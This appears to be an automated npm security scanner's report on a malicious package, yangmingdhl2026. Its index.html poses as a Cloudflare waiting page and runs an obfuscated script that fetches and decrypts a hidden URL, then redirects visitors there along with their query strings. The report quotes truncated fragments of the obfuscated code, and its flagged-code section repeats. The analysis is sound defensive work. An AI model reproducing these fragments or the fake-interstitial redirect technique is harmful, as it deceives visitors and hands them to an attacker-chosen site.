Loading npm security reports…

yangmingdhl2026@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / yangmingdhl2026 / 1.0.0

yangmingdhl2026@1.0.0

AI Security Review

scanned 11d ago · by lpm-firewall-ai

Opening index.html runs an obfuscated browser script that impersonates a Cloudflare check, POSTs an embedded key, decrypts a remote URL, and redirects the visitor there with the original query string attached.

Static reason

One or more suspicious static signals were detected.

Trigger

A browser loads index.html, the package main file.

Impact

The operator controls the redirect destination and receives the visitor query string, using a fake security interstitial to hide the handoff.

Mechanism

Obfuscated script fetches a POST endpoint, AES-decrypts the body with an embedded key, appends the page query parameters, and navigates window.location to the resulting URL.

Attack narrative

The published entry is a single HTML page styled as a Cloudflare waiting room. Its obfuscated script holds a host key and an AES key, POSTs the key to a hidden endpoint, decrypts the reply into a URL, copies the visitor query string onto that URL, and navigates the browser there. The only clear external script host is the Cloudflare Turnstile loader used as cover. No npm install hook is required; loading the page is enough to hand the visitor to an operator-chosen destination.

AI rationale

The package entry is a disguised browser redirector that hides its destination behind obfuscation and AES decryption, then forwards the visitor and query string. That is concrete cloaked redirect behavior even though install hooks and Node secret theft are absent.

Evidence

package.jsonindex.html

Network endpoints1

challenges.cloudflare.com/turnstile/v0/api.js

Decision evidence

Source & flagged code

9 flagged · loading source

index.htmlView file

182} L183: (function(_0x3db4af,_0x253147){const _0xa22965={_0x224720:0x10e,_0x42066f:0x9c,_0x4d409f:0x72,_0x5aba3a:0x14b,_0x4fbf65:0xc9,_0x27418c:0xe5,_0xd76e69:0x119,_0xea649a:0x124,_0x2326f...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js"

High

Ai Review Evidence

index.html is a fake Cloudflare interstitial that loads the Turnstile script from challenges.cloudflare.com.

index.htmlView on unpkg · L7

183const hostKey=_0x422533(0x3db,0x372,0x3dd,0x3e4)+_0x422533(0x44f,0x3ef,0x437,0x3a0)+'yoyk8cCCOg'+_0x422533(0x33f,0x373,0x359,0x3f6)+_0xc4b337(0x321,0x2a7,0x2ad,0x2a3),aesKeyBase64=

High

Ai Review Evidence

An obfuscated script embeds a host key and an AES key built from encoded fragments plus plaintext pieces.

index.htmlView on unpkg · L183

183(fetch,_0x56260a[_0x4f2ec8(0x11c,_0x5f0bcd._0x5dbcdb,_0x5f0bcd._0x16e7d2,_0x5f0bcd._0x4909ef)],{'method':'POST','headers

High

Ai Review Evidence

On page load the script POSTs JSON through fetch to an obfuscated URL, including that host key.

index.htmlView on unpkg · L183

183crypto['subtle']['decrypt'](_0x2737ea,_0x2d1dfb,_0x2db4ed));return new URL(/^[a-z][a-z\d+.-]*:\/\//i[_0x4f2ec8(_0x5f0bcd._0x529e13,_0x5f0bcd._0x3fdd49,_0x5f0bcd._0x13373a,_0x5f0bcd._0x458fa0)](_0x1877

High

Ai Review Evidence

It AES-decrypts the response with the embedded key and treats the plaintext as a URL.

index.htmlView on unpkg · L183

183window['location'][_0x44b224(_0x496e47._0x58198a,_0x496e47._0x30a05f,_0x496e47._0x51bdfb,_0x496e47._0x237a27)](_0xd3d246[_0x15bb13(_0x496e47._0x5c516f,0x1bb,0x1

High

Ai Review Evidence

It copies the current page query string onto that URL and assigns window.location to it.

index.htmlView on unpkg · L183

183function appendVisitorParams(_0x721773){const _0x2ab2c7={_0x1c2ff4:0x2e,_0x4acf5d:0x34,_0x95eb91:0xa0,_0x2268c0:0x24,_0x271c5b:0x97,_0x383b8

High

Ai Review Evidence

It copies the current page query string onto that URL and assigns window.location to it.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "yangmingdhl2026", "version": "1.0.0", "main": "index.html", "files": [ "index.html" ]

High

Suspicious Lifecycle Evidence

package.json names index.html as the only published entry and defines no install lifecycle scripts.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged

index.htmlView file

182} L183: (function(_0x3db4af,_0x253147){const _0xa22965={_0x224720:0x10e,_0x42066f:0x9c,_0x4d409f:0x72,_0x5aba3a:0x14b,_0x4fbf65:0xc9,_0x27418c:0xe5,_0xd76e69:0x119,_0xea649a:0x124,_0x2326f...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js"

High

Ai Review Evidence

index.html is a fake Cloudflare interstitial that loads the Turnstile script from challenges.cloudflare.com.

index.htmlView on unpkg · L7

183const hostKey=_0x422533(0x3db,0x372,0x3dd,0x3e4)+_0x422533(0x44f,0x3ef,0x437,0x3a0)+'yoyk8cCCOg'+_0x422533(0x33f,0x373,0x359,0x3f6)+_0xc4b337(0x321,0x2a7,0x2ad,0x2a3),aesKeyBase64=

High

Ai Review Evidence

An obfuscated script embeds a host key and an AES key built from encoded fragments plus plaintext pieces.

index.htmlView on unpkg · L183

183(fetch,_0x56260a[_0x4f2ec8(0x11c,_0x5f0bcd._0x5dbcdb,_0x5f0bcd._0x16e7d2,_0x5f0bcd._0x4909ef)],{'method':'POST','headers

High

Ai Review Evidence

On page load the script POSTs JSON through fetch to an obfuscated URL, including that host key.

index.htmlView on unpkg · L183

183crypto['subtle']['decrypt'](_0x2737ea,_0x2d1dfb,_0x2db4ed));return new URL(/^[a-z][a-z\d+.-]*:\/\//i[_0x4f2ec8(_0x5f0bcd._0x529e13,_0x5f0bcd._0x3fdd49,_0x5f0bcd._0x13373a,_0x5f0bcd._0x458fa0)](_0x1877

High

Ai Review Evidence

It AES-decrypts the response with the embedded key and treats the plaintext as a URL.

index.htmlView on unpkg · L183

183window['location'][_0x44b224(_0x496e47._0x58198a,_0x496e47._0x30a05f,_0x496e47._0x51bdfb,_0x496e47._0x237a27)](_0xd3d246[_0x15bb13(_0x496e47._0x5c516f,0x1bb,0x1

High

Ai Review Evidence

It copies the current page query string onto that URL and assigns window.location to it.

index.htmlView on unpkg · L183

183function appendVisitorParams(_0x721773){const _0x2ab2c7={_0x1c2ff4:0x2e,_0x4acf5d:0x34,_0x95eb91:0xa0,_0x2268c0:0x24,_0x271c5b:0x97,_0x383b8

High

Ai Review Evidence

It copies the current page query string onto that URL and assigns window.location to it.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "yangmingdhl2026", "version": "1.0.0", "main": "index.html", "files": [ "index.html" ]

High

Suspicious Lifecycle Evidence

package.json names index.html as the only published entry and defines no install lifecycle scripts.

package.jsonView on unpkg · L1